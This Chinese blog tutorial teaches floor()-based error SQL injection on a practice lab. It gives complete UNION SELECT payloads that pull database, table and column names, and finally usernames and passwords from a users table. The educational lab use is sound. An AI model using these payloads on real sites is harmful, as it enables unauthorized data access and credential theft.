35岁重学网络安全——SQL注入篇(十四)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:floor()报错注入实战(get型)

floor()报错注入实战

使用靶场的第五节
在这里插入图片描述

1. 判断注入类型

参数:?id=1 and 1=2
在这里插入图片描述

参数:?id=1' and 1=2 --+
在这里插入图片描述

2. 判断闭合方式

题目中有写到为单引号闭合,且判断注入类型时也有使用到单引号。这里就不再赘述。

PS:判断注入类型与判断闭合方式不用纠结于先判断哪一个,有时候是混在一起判断的。

3. 判断列数

参数:?id=1' group by 4 --+,页面报错,列数小于4
在这里插入图片描述

参数:?id=1' group by 3 --+,页面正常,列数为3
在这里插入图片描述

4. 查数据

下面的命令只关心concat_ws()的变化即可,其他位置内容均没有发生变化。

4.1 查询数据库名称

获取数据库名称命令:

union select 
	1,
	count(*),
	concat_ws('~',(select database()),floor(rand(0)*2)) as k 
from information_schema.tables 
group by k --+

select后跟三个查询内容(因为存在三列)

  • 参数1:1,占位,无实际含义
  • 参数2:count(*),用于计数
  • 参数3:concat_ws(),同样存在三个参数
    • 参数1:~为拼接符
    • 参数2:select database(),查询数据库名称
    • 参数3:floor(rand(0)*2),产生随机数

在这里插入图片描述

PS:后面查表名、查列名和查数据将命令中的select database()替换即可

4.2 查数据表
union select 
	1,
	count(*),
	concat_ws(
		'~',
		(select group_concat(table_name) from information_schema.tables where table_schema=(database())),
		floor(rand(0)*2)) as k 
from information_schema.tables 
group by k --+
  • concat_ws有三个参数,第二个参数为查询表名的sql语句
  • concat_ws()的第二个参数为select group_concat(table_name) from information_schema.tables where table_schema=(database())
    • 有了union注入的基础,这句查询表名的select语句应该是不难,如果不懂,建议回看union注入

在这里插入图片描述

4.3 查询列名

查询users表下的列名

union select 
	1,
	count(*),
	concat_ws(
		'~',
		(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users'),
		floor(rand(0)*2)) as k 
from information_schema.tables 
group by k --+
  • concat_ws()有三个参数,第二个参数为查询列名的sql语句
  • concat_ws()的第二个参数为select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users'
    • where后有两个条件,一个指明数据库名称;一个指明表名称

在这里插入图片描述

4.4 查询数据

因为报错回显只有32个字符,因此需要用到substr()函数

# 第1~30个字符
union select 
	1,
	count(*),
	concat_ws(
		'~',
		(substr((select group_concat(username,'~',password) from users),1,30)),
		floor(rand(0)*2)) as k 
from information_schema.tables 
group by k --+

# 3第1~60个字符
union select 
	1,
	count(*),
	concat_ws(
		'~',
		(substr((select group_concat(username,'~',password) from users),31,60)),
		floor(rand(0)*2)) as k 
from information_schema.tables 
group by k --+

在这里插入图片描述

在这里插入图片描述

后面的数据内容修改substr()函数的第二个和第三个参数即可。

PS:floor()报错可以显示64个字符,比前面两者报错方式多显示32个字符,案例中使用32个字符是因为我复制了上面报错的语句。

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值